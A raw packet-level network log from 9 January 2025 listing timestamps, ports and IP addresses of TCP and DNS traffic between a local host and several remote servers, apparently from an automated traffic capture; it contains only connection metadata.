Jan 9, 2025 11:26:51.131519079 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.131529093 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.131555080 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.131661892 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.132167101 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132184029 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132203102 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132214069 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132222891 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132235050 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.132282972 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132292986 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132304907 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132313967 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132320881 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.132323980 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132340908 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.132385015 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.132421970 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.133143902 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.133152962 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.133163929 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.133173943 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.133183956 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.133193970 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.133224964 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.133311033 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.170507908 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.170519114 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.170528889 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.170623064 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.170623064 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.220532894 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220546007 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220575094 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220592976 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220604897 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220616102 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220653057 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.220695019 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.220745087 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220777035 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220827103 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220849991 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220860958 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.220889091 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.220982075 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221002102 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221013069 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221015930 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221050978 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221085072 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221096039 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221116066 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221208096 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221287966 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221311092 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221394062 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221411943 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221424103 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221435070 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221438885 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221447945 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221457958 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221477985 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221550941 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221710920 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221724033 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221734047 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221779108 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221788883 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221821070 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221827030 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221843958 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221853018 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.221859932 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221874952 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.221990108 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.222093105 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222122908 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222132921 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222166061 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222237110 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222245932 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222258091 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222268105 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222275972 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.222316980 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.222316980 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.222384930 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222398043 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222407103 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222479105 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.222784042 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222801924 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222825050 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222834110 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222843885 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222879887 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.222918034 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222928047 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222942114 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.222948074 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.222984076 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.223018885 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.223030090 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.223042011 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.223052025 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.223062992 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.223071098 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.223104954 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.223104954 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.225423098 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225528955 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225544930 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225555897 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225567102 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225577116 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225585938 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225615025 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225620985 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.225625992 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225641966 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225645065 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.225653887 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225687027 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.225699902 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225709915 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225719929 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225734949 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.225743055 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.225743055 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.225817919 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.226298094 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.226306915 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.226346970 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.226355076 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.226474047 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.226519108 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.261260986 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.261272907 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.261284113 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.261293888 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.261303902 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.261339903 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.261693954 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311085939 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311096907 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311106920 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311146021 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311148882 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311158895 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311168909 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311197996 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311211109 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311222076 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311253071 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311279058 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311292887 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311316967 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311316967 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311331987 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311348915 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311388016 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311400890 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311423063 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311433077 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311444044 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311470985 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311481953 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311507940 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311543941 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311554909 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311564922 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311580896 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311610937 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311610937 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311621904 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311630964 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311636925 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311642885 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311676025 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311685085 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311703920 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311716080 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311727047 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311737061 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311758041 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311758041 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311846018 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311866045 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311882973 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311892033 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311902046 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311913013 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311933994 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.311960936 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311971903 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.311984062 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312011957 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312011957 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312047005 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312057972 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312068939 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312081099 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312098980 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312238932 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312249899 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312258959 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312269926 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312282085 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312290907 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312290907 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312300920 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312313080 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312313080 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312359095 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312397957 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312407017 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312417030 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312439919 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312450886 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312460899 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312470913 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312482119 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312484980 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312484980 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312514067 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312516928 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312525034 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312535048 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312545061 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312552929 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312552929 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.312563896 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.312900066 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.372281075 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:51.377042055 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.539726019 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.539736986 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:26:51.539983034 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:26:59.310456038 CET	443	49711	142.250.185.68	192.168.2.5
Jan 9, 2025 11:26:59.310522079 CET	443	49711	142.250.185.68	192.168.2.5
Jan 9, 2025 11:26:59.310604095 CET	49711	443	192.168.2.5	142.250.185.68
Jan 9, 2025 11:27:00.849432945 CET	49711	443	192.168.2.5	142.250.185.68
Jan 9, 2025 11:27:00.849447966 CET	443	49711	142.250.185.68	192.168.2.5
Jan 9, 2025 11:27:01.136104107 CET	61215	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:01.140898943 CET	53	61215	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:01.140995026 CET	61215	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:01.145860910 CET	53	61215	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:01.583466053 CET	61215	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:01.589391947 CET	53	61215	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:01.589448929 CET	61215	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:05.251544952 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.251576900 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.251650095 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.252193928 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.252211094 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.252264023 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.254101992 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.254115105 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.254249096 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.254265070 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.832180023 CET	80	49715	68.65.120.220	192.168.2.5
Jan 9, 2025 11:27:05.832397938 CET	80	49715	68.65.120.220	192.168.2.5
Jan 9, 2025 11:27:05.832453012 CET	49715	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:27:05.883797884 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.884102106 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.884114027 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.885081053 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.885142088 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.886120081 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.886178970 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.886275053 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.886282921 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.903338909 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.903558016 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.903599024 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.904572964 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.904629946 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.904916048 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.904970884 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.930916071 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.946147919 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:05.946155071 CET	443	61237	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:05.993092060 CET	61237	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.376621962 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.376645088 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.376653910 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.376667023 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.376697063 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.376734972 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.376746893 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.376780033 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.376808882 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.378221035 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.378257036 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.378307104 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.378313065 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.378345966 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.379280090 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.463774920 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.463799000 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.463896036 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.463903904 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.463958979 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.464456081 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.464472055 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.464538097 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.464544058 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.464618921 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.465014935 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.465029955 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.465095997 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.465095997 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.465106010 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.465154886 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.466062069 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.466079950 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.466139078 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.466146946 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.466218948 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.540395021 CET	80	49714	68.65.120.220	192.168.2.5
Jan 9, 2025 11:27:06.540452957 CET	49714	80	192.168.2.5	68.65.120.220
Jan 9, 2025 11:27:06.551198006 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.551218033 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.551287889 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.551296949 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.551333904 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.551911116 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.551928997 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.551969051 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.551979065 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.552007914 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.552046061 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.552500963 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.552515984 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.552555084 CET	61238	443	192.168.2.5	165.227.159.34
Jan 9, 2025 11:27:06.552562952 CET	443	61238	165.227.159.34	192.168.2.5
Jan 9, 2025 11:27:06.552593946 CET	61238	443	192.168.2.5	165.227.159.34
